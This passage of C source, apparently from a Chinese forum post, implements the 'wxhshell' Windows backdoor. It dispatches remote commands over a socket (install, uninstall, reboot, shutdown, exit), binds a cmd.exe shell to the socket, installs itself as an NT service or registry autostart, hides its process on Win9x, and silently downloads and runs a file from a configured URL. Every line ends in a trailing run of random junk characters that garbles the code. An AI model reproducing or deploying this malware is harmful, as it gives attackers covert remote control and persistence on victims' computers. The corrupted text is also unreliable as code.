    switch(cmd[0]) { 4&b*|"Iw  
  }LK +w+h~  
  // 帮助 g=*'kj7c3  
  case '?': { ?=zF]J:G1w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  A [W3.$s  
    break; h9<*+T  
  } 6Ih8~Hu  
  // 安装 L'(ei7Z  
  case 'i': { 7i- G5%w7  
    if(Install()) \ZN>7?Vs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^pgVU&-~]/  
    else n~ w.\939@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v@m2c_,  
    break; Rq`B'G9|c  
    } P1cI]rriW  
  // 卸载 u!4i+7}  
  case 'r': { z~8`xn,  
    if(Uninstall()) JZ=ahSi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gY!+x=cx0  
    else e_U1}{=t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dsJMhB_41U  
    break; :g&9v_}&K{  
    } <}Hfu-PLo  
  // 显示 wxhshell 所在路径 1jHugss9|  
  case 'p': { p>Z18  
    char svExeFile[MAX_PATH]; qPal'c0  
    strcpy(svExeFile,"\n\r"); d\c?sYLv  
      strcat(svExeFile,ExeFile); 3|++2Z{},  
        send(wsh,svExeFile,strlen(svExeFile),0); |E]`rfr  
    break; .J=<E  
    } CuT~ Bj  
  // 重启 ~ 9Xs=S!  
  case 'b': { ENoGV;WG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -/^a2_d[  
    if(Boot(REBOOT)) [f._w~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[_zz;Y*d  
    else { 1u`{yl*+?  
    closesocket(wsh); +\s32o zg  
    ExitThread(0); 6gr?#D -F  
    } `^d[$IbDW  
    break; ]lQLA IQ  
    } z5njblUz  
  // 关机 KOv?p@d  
  case 'd': { @wVq%GG}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P5?M"j0/^  
    if(Boot(SHUTDOWN)) B}?$kp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6h5DvSO  
    else { 5vP=Wf cW  
    closesocket(wsh); d ,"L8  
    ExitThread(0); F7!q18ew  
    } fx74h{3u  
    break; c]Z@L~WW  
    } D MzDV_  
  // 获取shell 2)-V\:;js  
  case 's': { v35!? 5{  
    CmdShell(wsh); gdj,e ^  
    closesocket(wsh);  b79z<D  
    ExitThread(0); g$?kL  
    break; xZ\`f-zL  
  } w?JRY  
  // 退出 xZE%Gf_U  
  case 'x': { Xi  8rD"v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;rvZ!/  
    CloseIt(wsh); Jxo#sV-  
    break; U"T>L  
    } s[dq-pc "  
  // 离开 i3dV2^O  
  case 'q': { cXDG(.!n7B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K?J?]VCw  
    closesocket(wsh); =w,cdU*  
    WSACleanup(); KtMD?  
    exit(1); V#Pz `D  
    break; (_ TKDx_  
        } RCC~#bb  
  } bnZ`Wc*5b  
  } _~}n(?>  
^J-"8%  
  // 提示信息 ^U;r>[T9h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f53WDI6  
} eVvDis  
  } h 0c&}kM  
fU^6h`t  
  return; a +lTAe  
} @%[ dh@oY  
0}4FwcCr\  
// shell模块句柄 8GKqPS+  
int CmdShell(SOCKET sock) du5|/  
{ K0 6 E:  
STARTUPINFO si; UmNh0nS  
ZeroMemory(&si,sizeof(si)); g[D `.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }"\jB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u^X,ASkQ  
PROCESS_INFORMATION ProcessInfo; a? <Ar#)j  
char cmdline[]="cmd"; e b*w$|y6"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n38l!m(.  
  return 0; 6Gj69Lr  
} |+h8g@;Z  
_ry7 [/)  
// 自身启动模式 &60#y4  
int StartFromService(void) q% pjY  
{ /4{.J=R}  
typedef struct -;s-*$I  
{ n[c/L8j  
  DWORD ExitStatus; &{=`g+4n  
  DWORD PebBaseAddress; V|T3blG?D  
  DWORD AffinityMask;  ~=Q|EhF5  
  DWORD BasePriority; 41s[p56+@  
  ULONG UniqueProcessId; *nYb9.T]i  
  ULONG InheritedFromUniqueProcessId; O8<@+xlX  
}   PROCESS_BASIC_INFORMATION; Hphfqdh0`  
Ks/Uyu. X  
PROCNTQSIP NtQueryInformationProcess; *#&s+h,^  
wf&1,t3Bgn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A1kqWhg\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l ]CnLqf&  
2nv-/ %]  
  HANDLE             hProcess; #Py\'  
  PROCESS_BASIC_INFORMATION pbi; y^tp^  
\?K>~{)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Vu@gRk_  
  if(NULL == hInst ) return 0; A6AIkKjzq  
ffibS0aM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `7o(CcF6H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yq,% ey8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )u}MyFl.  
!vwx0  
  if (!NtQueryInformationProcess) return 0; >G<.^~o  
,].S~6IM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c ;@k\6  
  if(!hProcess) return 0; maINp"#  
$ 8WJ$73  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f^D4aEU  
EVE<LF?  
  CloseHandle(hProcess); }29Cm$p  
N^U<;O?YDW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $P7G,0-  
if(hProcess==NULL) return 0; I]B[H6  
0ofl,mXW  
HMODULE hMod; cd?arIV5  
char procName[255]; Z`97=:W  
unsigned long cbNeeded; |@lVFEl]  
$"`9QD~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h6Q-+_5  
r\f|r$i  
  CloseHandle(hProcess); }RPeAcbU_  
_3{,nhkf:!  
if(strstr(procName,"services")) return 1; // 以服务启动 :1(UC}v  
7iM;X2=7}  
  return 0; // 注册表启动 %m0x]  
} _!'sj=n]q  
HZ.Jc"+M  
// 主模块 V9r58hbVT  
int StartWxhshell(LPSTR lpCmdLine) {I~[a#^  
{ QnPgp(d <  
  SOCKET wsl; MI<XLn!*  
BOOL val=TRUE; z6 A`/ jF}  
  int port=0; nbM7 >tnsk  
  struct sockaddr_in door; Vo-]&u&cr  
@Tl!A1y?  
  if(wscfg.ws_autoins) Install(); y+ ZCuX  
eOI#T'5  
port=atoi(lpCmdLine); sxBRg=  
Hz] p]  
if(port<=0) port=wscfg.ws_port; DJ#z0)3<p  
{Vj25Gt  
  WSADATA data; DZ9qIc}Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TV&4m5  
{aRZBIv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vy:MK9U2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eODprFkt}  
  door.sin_family = AF_INET; ^68BxYUoD\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c?1 :='MC  
  door.sin_port = htons(port); xw%'R-  
%hqhi@q#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NA`EG,2  
closesocket(wsl); ^"?b!=n!  
return 1; [va7+=[1=  
} ie+746tFW  
#:?MtVC  
  if(listen(wsl,2) == INVALID_SOCKET) { NXyuv7%5=  
closesocket(wsl); te b~KM  
return 1; ~jqh&u$(  
} $EuWQq7OI2  
  Wxhshell(wsl); : %hxg  
  WSACleanup(); ~"ij,Op,3  
+v}R-gNR  
return 0; `Wf)qMb  
Nu%JI6&R  
} |UO&18Y7-  
h c9? z}  
// 以NT服务方式启动 V,@Y,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?8LRd5LH  
{ /rqaUC)A  
DWORD   status = 0; -}?ud3f<  
  DWORD   specificError = 0xfffffff; tt7l%olw  
4gNF;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [Bz'c1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uPtHCP6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sa71Vh{  
  serviceStatus.dwWin32ExitCode     = 0; &2!F:L  
  serviceStatus.dwServiceSpecificExitCode = 0; .7nr:P  
  serviceStatus.dwCheckPoint       = 0; &$ ?i  
  serviceStatus.dwWaitHint       = 0; "w\Iz]  
|F'k5Lh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1wqsGad+;  
  if (hServiceStatusHandle==0) return; |5}~n"R5  
q&-A}]  
status = GetLastError(); V %cU @  
  if (status!=NO_ERROR) ]v^;]0vcr  
{ U/JeEI%L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NNQro)Lpe  
    serviceStatus.dwCheckPoint       = 0; F;IG@ &  
    serviceStatus.dwWaitHint       = 0; t7%!~s=,M  
    serviceStatus.dwWin32ExitCode     = status; _S(]/d(c  
    serviceStatus.dwServiceSpecificExitCode = specificError; +c699j;[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R":nG7o  
    return; p5KM(N6f  
  } f]BG`rJX  
g]g2`ab |  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (zFUC]  
  serviceStatus.dwCheckPoint       = 0; V+()`>44  
  serviceStatus.dwWaitHint       = 0; oj7X9~ nd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _`JY A  
} tzxp0&:Z].  
m_TZY_;  
// 处理NT服务事件,比如:启动、停止 jaAv_=93f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U/B1/96lJ  
{ $rySz7NI  
switch(fdwControl) %KeQp W  
{ G~{xTpL  
case SERVICE_CONTROL_STOP: X^#.4:>.  
  serviceStatus.dwWin32ExitCode = 0; o%Lk6QA$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .bOueB-  
  serviceStatus.dwCheckPoint   = 0; }[u9vZL  
  serviceStatus.dwWaitHint     = 0; C/Ig.KmXF{  
  { ({cgak  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "mA Vkq~  
  } m<BL/ 7  
  return; nFl=D=50-  
case SERVICE_CONTROL_PAUSE: 2&W(@wT$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -ANp88a  
  break; F*QD\sG:  
case SERVICE_CONTROL_CONTINUE: =GQ?P*x|$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }0#cdw#gH  
  break; N b(f  
case SERVICE_CONTROL_INTERROGATE: &/J[PdSb$  
  break; mmXLGLMd  
}; |n;gGR\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eB:obz  
} -K`0`n}  
.~ a)  
// 标准应用程序主函数 |67j__XC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U/M(4H3>H  
{ x7J|  
rbnu:+!  
// 获取操作系统版本 rG"}CX`]:  
OsIsNt=GetOsVer(); aW3yl}`{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Osb"$8im  
G{ rUqo  
  // 从命令行安装 fV3!x,H  
  if(strpbrk(lpCmdLine,"iI")) Install(); AAsl )  
P,!k^J3:l  
  // 下载执行文件 >R?EJ;h  
if(wscfg.ws_downexe) { 181-m7W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YtNoYOB  
  WinExec(wscfg.ws_filenam,SW_HIDE); AQ-P3`bCb  
} d8g3hyI5\  
Q=yQEh|Y  
if(!OsIsNt) { (J): >\a]  
// 如果时win9x,隐藏进程并且设置为注册表启动 BNg\;2r  
HideProc(); }0uSm%,"  
StartWxhshell(lpCmdLine); Y}"|J ~  
} `"m"qUd  
else gv; =Yhw.c  
  if(StartFromService()) ?x@BZe  
  // 以服务方式启动 ~?aq=T  
  StartServiceCtrlDispatcher(DispatchTable); |rf\]3 F  
else gtz!T2%  
  // 普通方式启动 hX=+%^c%_A  
  StartWxhshell(lpCmdLine); qJW>Y}  
B[-%A!3 F  
return 0; )F<<M+q=  
}
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只看该作者 1 发表于: 2006-10-10
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